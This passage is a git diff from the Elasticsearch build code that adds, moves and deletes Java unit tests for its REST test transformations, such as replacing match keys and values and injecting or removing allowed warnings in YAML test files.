b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceKeyInMatchTests.java @@ -0,0 +1,37 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.match; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.AssertObjectNodes; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; +import org.junit.Test; + +import java.util.Collections; +import java.util.List; + +public class ReplaceKeyInMatchTests extends TransformTests { + + @Test + public void testReplaceKeyInMatch() throws Exception { + + String test_original = "/rest/transform/match/key_replace/replace_key_in_match_original.yml"; + List tests = getTests(test_original); + + String test_transformed = "/rest/transform/match/key_replace/replace_key_in_match_transformed.yml"; + List expectedTransformation = getTests(test_transformed); + + List transformedTests = transformTests( + tests, + Collections.singletonList(new ReplaceKeyInMatch("match.key.to_replace", "match.key.replaced", null)) + ); + + AssertObjectNodes.areEqual(transformedTests, expectedTransformation); + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceValueInMatchTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceValueInMatchTests.java new file mode 100644 index 0000000000000..667430307e072 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceValueInMatchTests.java @@ -0,0 +1,45 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.match; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; +import org.elasticsearch.gradle.internal.test.rest.transform.AssertObjectNodes; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; +import org.junit.Test; + +import java.util.List; + +public class ReplaceValueInMatchTests extends TransformTests { + + private static final YAMLFactory YAML_FACTORY = new YAMLFactory(); + private static final ObjectMapper MAPPER = new ObjectMapper(YAML_FACTORY); + + @Test + public void testReplaceMatch() throws Exception { + String test_original = "/rest/transform/match/match_original.yml"; + List tests = getTests(test_original); + + String test_transformed = "/rest/transform/match/match_transformed.yml"; + List expectedTransformation = getTests(test_transformed); + + JsonNode replacementNode = MAPPER.convertValue("_replaced_type", JsonNode.class); + List transformedTests = transformTests( + tests, + List.of( + new ReplaceValueInMatch("_type", replacementNode, null), + new ReplaceValueInMatch("_replace_in_last_test_only", replacementNode, "Last test") + ) + ); + + AssertObjectNodes.areEqual(transformedTests, expectedTransformation); + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceTextualTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceTextualTests.java new file mode 100644 index 0000000000000..933427e79922d --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceTextualTests.java @@ -0,0 +1,46 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.text; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.node.TextNode; +import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; +import org.elasticsearch.gradle.internal.test.rest.transform.AssertObjectNodes; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; +import org.junit.Test; + +import java.util.List; + +public class ReplaceTextualTests extends TransformTests { + + private static final YAMLFactory YAML_FACTORY = new YAMLFactory(); + private static final ObjectMapper MAPPER = new ObjectMapper(YAML_FACTORY); + + @Test + public void testReplaceAll() throws Exception { + String test_original = "/rest/transform/text/text_replace_original.yml"; + List tests = getTests(test_original); + + String test_transformed = "/rest/transform/text/text_replace_transformed.yml"; + List expectedTransformation = getTests(test_transformed); + + List transformedTests = transformTests( + tests, + List.of( + new ReplaceTextual("key_to_replace", "value_to_replace", MAPPER.convertValue("_replaced_value", TextNode.class), null), + new ReplaceIsTrue("is_true_to_replace", MAPPER.convertValue("is_true_replaced", TextNode.class)), + new ReplaceIsFalse("is_false_to_replace", MAPPER.convertValue("is_false_replaced", TextNode.class)) + ) + ); + + AssertObjectNodes.areEqual(transformedTests, expectedTransformation); + } + +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarningsRegexTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarningsRegexTests.java new file mode 100644 index 0000000000000..3deddc8309a47 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarningsRegexTests.java @@ -0,0 +1,70 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.InjectFeatureTests; +import org.junit.Test; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +public class InjectAllowedWarningsRegexTests extends InjectFeatureTests { + + Set addWarnings = Set.of("added warning"); + private static final String ALLOWED_WARNINGS_REGEX = "allowed_warnings_regex"; + + /** + * test file does not any allowed warnings defined + */ + @Test + public void testInjectAllowedWarningsNoPreExisting() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(ALLOWED_WARNINGS_REGEX, transformedTests, addWarnings); + } + + /** + * test file has preexisting allowed warnings + */ + @Test + public void testInjectAllowedWarningsWithPreExisting() throws Exception { + String testName = "/rest/transform/warnings/with_existing_allowed_warnings.yml"; + List tests = getTests(testName); + validateSetupExist(tests); + validateBodyHasWarnings(ALLOWED_WARNINGS_REGEX, tests, Set.of("c", "d")); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(ALLOWED_WARNINGS_REGEX, tests, Set.of("c", "d")); + validateBodyHasWarnings(ALLOWED_WARNINGS_REGEX, tests, addWarnings); + } + + @Override + protected List getKnownFeatures() { + return Collections.singletonList(ALLOWED_WARNINGS_REGEX); + } + + @Override + protected List> getTransformations() { + return Collections.singletonList(new InjectAllowedWarnings(true, new ArrayList<>(addWarnings))); + } + + @Override + protected boolean getHumanDebug() { + return false; + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarningsTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarningsTests.java new file mode 100644 index 0000000000000..580204d6e6819 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarningsTests.java @@ -0,0 +1,70 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.InjectFeatureTests; +import org.junit.Test; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +public class InjectAllowedWarningsTests extends InjectFeatureTests { + + Set addWarnings = Set.of("added warning"); + private static final String ALLOWED_WARNINGS = "allowed_warnings"; + + /** + * test file does not any allowed warnings defined + */ + @Test + public void testInjectAllowedWarningsNoPreExisting() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(ALLOWED_WARNINGS, transformedTests, addWarnings); + } + + /** + * test file has preexisting allowed warnings + */ + @Test + public void testInjectAllowedWarningsWithPreExisting() throws Exception { + String testName = "/rest/transform/warnings/with_existing_allowed_warnings.yml"; + List tests = getTests(testName); + validateSetupExist(tests); + validateBodyHasWarnings(ALLOWED_WARNINGS, tests, Set.of("a", "b")); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(ALLOWED_WARNINGS, tests, Set.of("a", "b")); + validateBodyHasWarnings(ALLOWED_WARNINGS, tests, addWarnings); + } + + @Override + protected List getKnownFeatures() { + return Collections.singletonList(ALLOWED_WARNINGS); + } + + @Override + protected List> getTransformations() { + return Collections.singletonList(new InjectAllowedWarnings(new ArrayList<>(addWarnings))); + } + + @Override + protected boolean getHumanDebug() { + return false; + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarningsRegexTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarningsRegexTests.java new file mode 100644 index 0000000000000..ad95016add15c --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarningsRegexTests.java @@ -0,0 +1,88 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.InjectFeatureTests; +import org.junit.Test; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +public class InjectWarningsRegexTests extends InjectFeatureTests { + + private static final String WARNINGS_REGEX = "warnings_regex"; + Set addWarnings = Set.of("added warning"); + + /** + * inject warning requires a test name to insert + */ + @Test + public void testInjectWarningsRequiresTestName() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + assertEquals( + "inject warnings is only supported for named tests", + expectThrows( + NullPointerException.class, + () -> transformTests(tests, Collections.singletonList(new InjectWarnings(new ArrayList<>(addWarnings), null))) + ).getMessage() + ); + } + + /** + * test file does not any warnings defined + */ + @Test + public void testInjectWarningsNoPreExisting() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(WARNINGS_REGEX, "Test warnings", transformedTests, addWarnings); + validateBodyHasNoWarnings(WARNINGS_REGEX, "Test another", transformedTests); + } + + /** + * test file has preexisting warnings + */ + @Test + public void testInjectWarningsWithPreExisting() throws Exception { + String testName = "/rest/transform/warnings/with_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupExist(tests); + validateBodyHasWarnings(WARNINGS_REGEX, tests, Set.of("c", "d")); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(WARNINGS_REGEX, tests, Set.of("c", "d")); + validateBodyHasWarnings(WARNINGS_REGEX, "Test warnings", tests, addWarnings); + } + + @Override + protected List getKnownFeatures() { + return Collections.singletonList(WARNINGS_REGEX); + } + + @Override + protected List> getTransformations() { + return Collections.singletonList(new InjectWarnings(true, new ArrayList<>(addWarnings), "Test warnings")); + } + + @Override + protected boolean getHumanDebug() { + return false; + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarningsTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarningsTests.java new file mode 100644 index 0000000000000..cd338502e00d0 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarningsTests.java @@ -0,0 +1,87 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.InjectFeatureTests; +import org.junit.Test; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +public class InjectWarningsTests extends InjectFeatureTests { + Set addWarnings = Set.of("added warning"); + private static final String WARNINGS = "warnings"; + + /** + * inject warning requires a test name to insert + */ + @Test + public void testInjectWarningsRequiresTestName() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + assertEquals( + "inject warnings is only supported for named tests", + expectThrows( + NullPointerException.class, + () -> transformTests(tests, Collections.singletonList(new InjectWarnings(new ArrayList<>(addWarnings), null))) + ).getMessage() + ); + } + + /** + * test file does not any warnings defined + */ + @Test + public void testInjectWarningsNoPreExisting() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(WARNINGS, "Test warnings", transformedTests, addWarnings); + validateBodyHasNoWarnings(WARNINGS, "Test another", transformedTests); + } + + /** + * test file has preexisting warnings + */ + @Test + public void testInjectWarningsWithPreExisting() throws Exception { + String testName = "/rest/transform/warnings/with_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupExist(tests); + validateBodyHasWarnings(WARNINGS, tests, Set.of("a", "b")); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(WARNINGS, tests, Set.of("a", "b")); + validateBodyHasWarnings(WARNINGS, "Test warnings", tests, addWarnings); + } + + @Override + protected List getKnownFeatures() { + return Collections.singletonList(WARNINGS); + } + + @Override + protected List> getTransformations() { + return Collections.singletonList(new InjectWarnings(new ArrayList<>(addWarnings), "Test warnings")); + } + + @Override + protected boolean getHumanDebug() { + return false; + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/RemoveWarningsTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/RemoveWarningsTests.java new file mode 100644 index 0000000000000..8f4b4d8066853 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/RemoveWarningsTests.java @@ -0,0 +1,78 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; +import org.junit.Test; + +import java.util.Collections; +import java.util.List; +import java.util.Set; + +public class RemoveWarningsTests extends TransformTests { + + private static final String WARNINGS = "warnings"; + + /** + * test file does not any warnings defined + */ + @Test + public void testRemoveWarningsNoPreExisting() throws Exception { + String testName = "/rest/transform/warnings/without_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupDoesNotExist(tests); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupDoesNotExist(transformedTests); + validateBodyHasNoWarnings(WARNINGS, transformedTests); + } + + /** + * test file has preexisting multiple warnings + */ + @Test + public void testRemoveWarningWithPreExisting() throws Exception { + String testName = "/rest/transform/warnings/with_existing_warnings.yml"; + List tests = getTests(testName); + validateSetupExist(tests); + validateBodyHasWarnings(WARNINGS, tests, Set.of("a", "b")); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasWarnings(WARNINGS, tests, Set.of("b")); + } + + /** + * test file has preexisting single warning + */ + @Test + public void testRemoveWarningWithSinglePreExisting() throws Exception { + // For simplicity, when removing the last item, it does not remove the headers/teardown and leaves an empty array + String testName = "/rest/transform/warnings/with_existing_single_warnings.yml"; + List tests = getTests(testName); + validateSetupExist(tests); + validateBodyHasWarnings(WARNINGS, tests, Set.of("a")); + List transformedTests = transformTests(tests); + printTest(testName, transformedTests); + validateSetupAndTearDown(transformedTests); + validateBodyHasEmptyNoWarnings(WARNINGS, tests); + } + + @Override + protected List> getTransformations() { + return Collections.singletonList(new RemoveWarnings(Set.of("a"))); + } + + @Override + protected boolean getHumanDebug() { + return false; + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/plugin/PluginPropertiesExtensionTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/plugin/PluginPropertiesExtensionTests.java index 2a16f674ef996..cbb3d4eb11836 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/plugin/PluginPropertiesExtensionTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/plugin/PluginPropertiesExtensionTests.java @@ -8,7 +8,7 @@ package org.elasticsearch.gradle.plugin; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.Project; import org.gradle.api.plugins.JavaPlugin; import org.gradle.testfixtures.ProjectBuilder; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/TransformTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/TransformTests.java deleted file mode 100644 index fcea05e3f7f35..0000000000000 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/TransformTests.java +++ /dev/null @@ -1,270 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.test.rest.transform; - -import com.fasterxml.jackson.databind.JsonNode; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.ObjectReader; -import com.fasterxml.jackson.databind.SequenceWriter; -import com.fasterxml.jackson.databind.node.ArrayNode; -import com.fasterxml.jackson.databind.node.ObjectNode; -import com.fasterxml.jackson.databind.node.TextNode; -import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; -import com.fasterxml.jackson.dataformat.yaml.YAMLParser; -import org.elasticsearch.gradle.test.GradleUnitTestCase; -import org.elasticsearch.gradle.test.rest.transform.headers.InjectHeaders; -import org.hamcrest.CoreMatchers; -import org.hamcrest.core.IsCollectionContaining; -import org.junit.Before; - -import java.io.File; -import java.io.IOException; -import java.util.ArrayList; -import java.util.Collections; -import java.util.Iterator; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.concurrent.atomic.LongAdder; -import java.util.stream.Collectors; - -public abstract class TransformTests extends GradleUnitTestCase { - - private static final YAMLFactory YAML_FACTORY = new YAMLFactory(); - private static final ObjectMapper MAPPER = new ObjectMapper(YAML_FACTORY); - private static final ObjectReader READER = MAPPER.readerFor(ObjectNode.class); - - private static final Map headers1 = Map.of("foo", "bar"); - private static final Map headers2 = Map.of("abc", "xyz"); - - RestTestTransformer transformer; - - @Before - public void setup() { - transformer = new RestTestTransformer(); - } - - protected void validateSetupAndTearDown(List transformedTests) { - assertThat(transformedTests.stream().filter(node -> node.get("setup") != null).count(), CoreMatchers.equalTo(1L)); - transformedTests.stream().filter(node -> node.get("setup") != null).forEach(this::assertSetup); - transformedTests.stream().filter(node -> node.get("teardown") != null).forEach(this::assertTeardown); - } - - protected ObjectNode validateSkipNodesExist(List tests) { - List skipNodes = tests.stream() - .filter(node -> node.get("setup") != null) - .filter(node -> getSkipNode((ArrayNode) node.get("setup")) != null) - .map(node -> getSkipNode((ArrayNode) node.get("setup"))) - .collect(Collectors.toList()); - assertThat(skipNodes.size(), CoreMatchers.equalTo(1)); - return skipNodes.get(0); - } - - protected void validateSkipNodesDoesNotExist(List tests) { - List skipNodes = tests.stream() - .filter(node -> node.get("setup") != null) - .filter(node -> getSkipNode((ArrayNode) node.get("setup")) != null) - .map(node -> getSkipNode((ArrayNode) node.get("setup"))) - .collect(Collectors.toList()); - assertThat(skipNodes.size(), CoreMatchers.equalTo(0)); - } - - protected void validatePreExistingFeatureExist(List tests) { - assertThat(validateSkipNodesExist(tests).get("features"), CoreMatchers.notNullValue()); - } - - protected void validateSetupDoesNotExist(List tests) { - assertThat(tests.stream().filter(node -> node.get("setup") != null).count(), CoreMatchers.equalTo(0L)); - } - - protected void validateFeatureNameExists(List tests, String featureName) { - ObjectNode skipNode = validateSkipNodesExist(tests); - JsonNode featureValues = skipNode.get("features"); - assertNotNull(featureValues); - - List features = new ArrayList<>(1); - if (featureValues.isArray()) { - Iterator featuresIt = featureValues.elements(); - while (featuresIt.hasNext()) { - JsonNode feature = featuresIt.next(); - features.add(feature.asText()); - } - } else if (featureValues.isTextual()) { - features.add(featureValues.asText()); - } - - assertThat(features, IsCollectionContaining.hasItem(featureName)); - } - - protected void validateSetupExist(List tests) { - assertThat(tests.stream().filter(node -> node.get("setup") != null).count(), CoreMatchers.equalTo(1L)); - } - - protected List transformTests(List tests) { - return transformTests(tests, getTransformations()); - } - - protected List transformTests(List tests, List> transforms) { - List t = transformer.transformRestTests(new LinkedList<>(tests), transforms); - getKnownFeatures().forEach(name -> { validateFeatureNameExists(t, name); }); - - return t; - } - - protected List getKnownFeatures() { - return Collections.emptyList(); - } - - protected List> getTransformations() { - List> transformations = new ArrayList<>(); - transformations.add(new InjectHeaders(headers1)); - transformations.add(new InjectHeaders(headers2)); - return transformations; - } - - protected List getTests(String relativePath) throws Exception { - File testFile = new File(getClass().getResource(relativePath).toURI()); - YAMLParser yamlParser = YAML_FACTORY.createParser(testFile); - return READER.readValues(yamlParser).readAll(); - } - - protected void assertTeardown(ObjectNode teardownNode) { - assertThat(teardownNode.get("teardown"), CoreMatchers.instanceOf(ArrayNode.class)); - ObjectNode skipNode = getSkipNode((ArrayNode) teardownNode.get("teardown")); - assertSkipNode(skipNode); - } - - protected void assertSetup(ObjectNode setupNode) { - assertThat(setupNode.get("setup"), CoreMatchers.instanceOf(ArrayNode.class)); - ObjectNode skipNode = getSkipNode((ArrayNode) setupNode.get("setup")); - assertSkipNode(skipNode); - } - - protected void assertSkipNode(ObjectNode skipNode) { - assertThat(skipNode, CoreMatchers.notNullValue()); - List featureValues = new ArrayList<>(); - if (skipNode.get("features").isArray()) { - assertThat(skipNode.get("features"), CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode features = (ArrayNode) skipNode.get("features"); - features.forEach(x -> { - if (x.isTextual()) { - featureValues.add(x.asText()); - } - }); - } else { - featureValues.add(skipNode.get("features").asText()); - } - assertEquals(featureValues.stream().distinct().count(), featureValues.size()); - } - - protected ObjectNode getSkipNode(ArrayNode setupNodeValue) { - Iterator setupIt = setupNodeValue.elements(); - while (setupIt.hasNext()) { - JsonNode arrayEntry = setupIt.next(); - if (arrayEntry.isObject()) { - ObjectNode skipCandidate = (ObjectNode) arrayEntry; - if (skipCandidate.get("skip") != null) { - ObjectNode skipNode = (ObjectNode) skipCandidate.get("skip"); - return skipNode; - } - } - } - return null; - } - - protected void validateBodyHasHeaders(List tests, Map expectedHeaders) { - tests.forEach(test -> { - Iterator> testsIterator = test.fields(); - while (testsIterator.hasNext()) { - Map.Entry testObject = testsIterator.next(); - assertThat(testObject.getValue(), CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode testBody = (ArrayNode) testObject.getValue(); - testBody.forEach(arrayObject -> { - assertThat(arrayObject, CoreMatchers.instanceOf(ObjectNode.class)); - ObjectNode testSection = (ObjectNode) arrayObject; - if (testSection.get("do") != null) { - ObjectNode doSection = (ObjectNode) testSection.get("do"); - assertThat(doSection.get("headers"), CoreMatchers.notNullValue()); - ObjectNode headersNode = (ObjectNode) doSection.get("headers"); - LongAdder assertions = new LongAdder(); - expectedHeaders.forEach((k, v) -> { - assertThat(headersNode.get(k), CoreMatchers.notNullValue()); - TextNode textNode = (TextNode) headersNode.get(k); - assertThat(textNode.asText(), CoreMatchers.equalTo(v)); - assertions.increment(); - }); - assertThat(assertions.intValue(), CoreMatchers.equalTo(expectedHeaders.size())); - } - }); - } - }); - } - - protected void validateSetupAndTearDownForMatchTests(List tests) { - ObjectNode setUp = tests.get(0); - assertThat(setUp.get("setup"), CoreMatchers.notNullValue()); - ObjectNode tearDown = tests.get(1); - assertThat(tearDown.get("teardown"), CoreMatchers.notNullValue()); - ObjectNode firstTest = tests.get(2); - assertThat(firstTest.get("First test"), CoreMatchers.notNullValue()); - ObjectNode lastTest = tests.get(tests.size() - 1); - assertThat(lastTest.get("Last test"), CoreMatchers.notNullValue()); - - // setup - JsonNode setup = setUp.get("setup"); - assertThat(setup, CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode setupParentArray = (ArrayNode) setup; - - AtomicBoolean setUpHasMatchObject = new AtomicBoolean(false); - setupParentArray.elements().forEachRemaining(node -> { - assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); - ObjectNode childObject = (ObjectNode) node; - JsonNode matchObject = childObject.get("match"); - if (matchObject != null) { - setUpHasMatchObject.set(true); - } - }); - assertFalse(setUpHasMatchObject.get()); - - // teardown - JsonNode teardown = tearDown.get("teardown"); - assertThat(teardown, CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode teardownParentArray = (ArrayNode) teardown; - - AtomicBoolean teardownHasMatchObject = new AtomicBoolean(false); - teardownParentArray.elements().forEachRemaining(node -> { - assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); - ObjectNode childObject = (ObjectNode) node; - JsonNode matchObject = childObject.get("match"); - if (matchObject != null) { - teardownHasMatchObject.set(true); - } - }); - assertFalse(teardownHasMatchObject.get()); - } - - protected boolean getHumanDebug() { - return false; - } - - // only to help manually debug - protected void printTest(String testName, List tests) { - if (getHumanDebug()) { - System.out.println("\n************* " + testName + " *************"); - try (SequenceWriter sequenceWriter = MAPPER.writer().writeValues(System.out)) { - for (ObjectNode transformedTest : tests) { - sequenceWriter.write(transformedTest); - } - } catch (IOException e) { - e.printStackTrace(); - } - } - } -} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/ReplaceMatchTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/ReplaceMatchTests.java deleted file mode 100644 index bd3bedc3abd56..0000000000000 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/ReplaceMatchTests.java +++ /dev/null @@ -1,135 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.test.rest.transform.match; - -import com.fasterxml.jackson.databind.JsonNode; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.node.ArrayNode; -import com.fasterxml.jackson.databind.node.ObjectNode; -import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; -import org.elasticsearch.gradle.test.rest.transform.TransformTests; -import org.hamcrest.CoreMatchers; -import org.junit.Test; - -import java.util.Collections; -import java.util.LinkedList; -import java.util.List; -import java.util.concurrent.atomic.AtomicBoolean; - -public class ReplaceMatchTests extends TransformTests { - - private static final YAMLFactory YAML_FACTORY = new YAMLFactory(); - private static final ObjectMapper MAPPER = new ObjectMapper(YAML_FACTORY); - - @Test - public void testReplaceAll() throws Exception { - String testName = "/rest/transform/match/match.yml"; - List tests = getTests(testName); - JsonNode replacementNode = MAPPER.convertValue("_replaced_type", JsonNode.class); - validateTest(tests, true, true); - List transformedTests = transformTests( - new LinkedList<>(tests), - Collections.singletonList(new 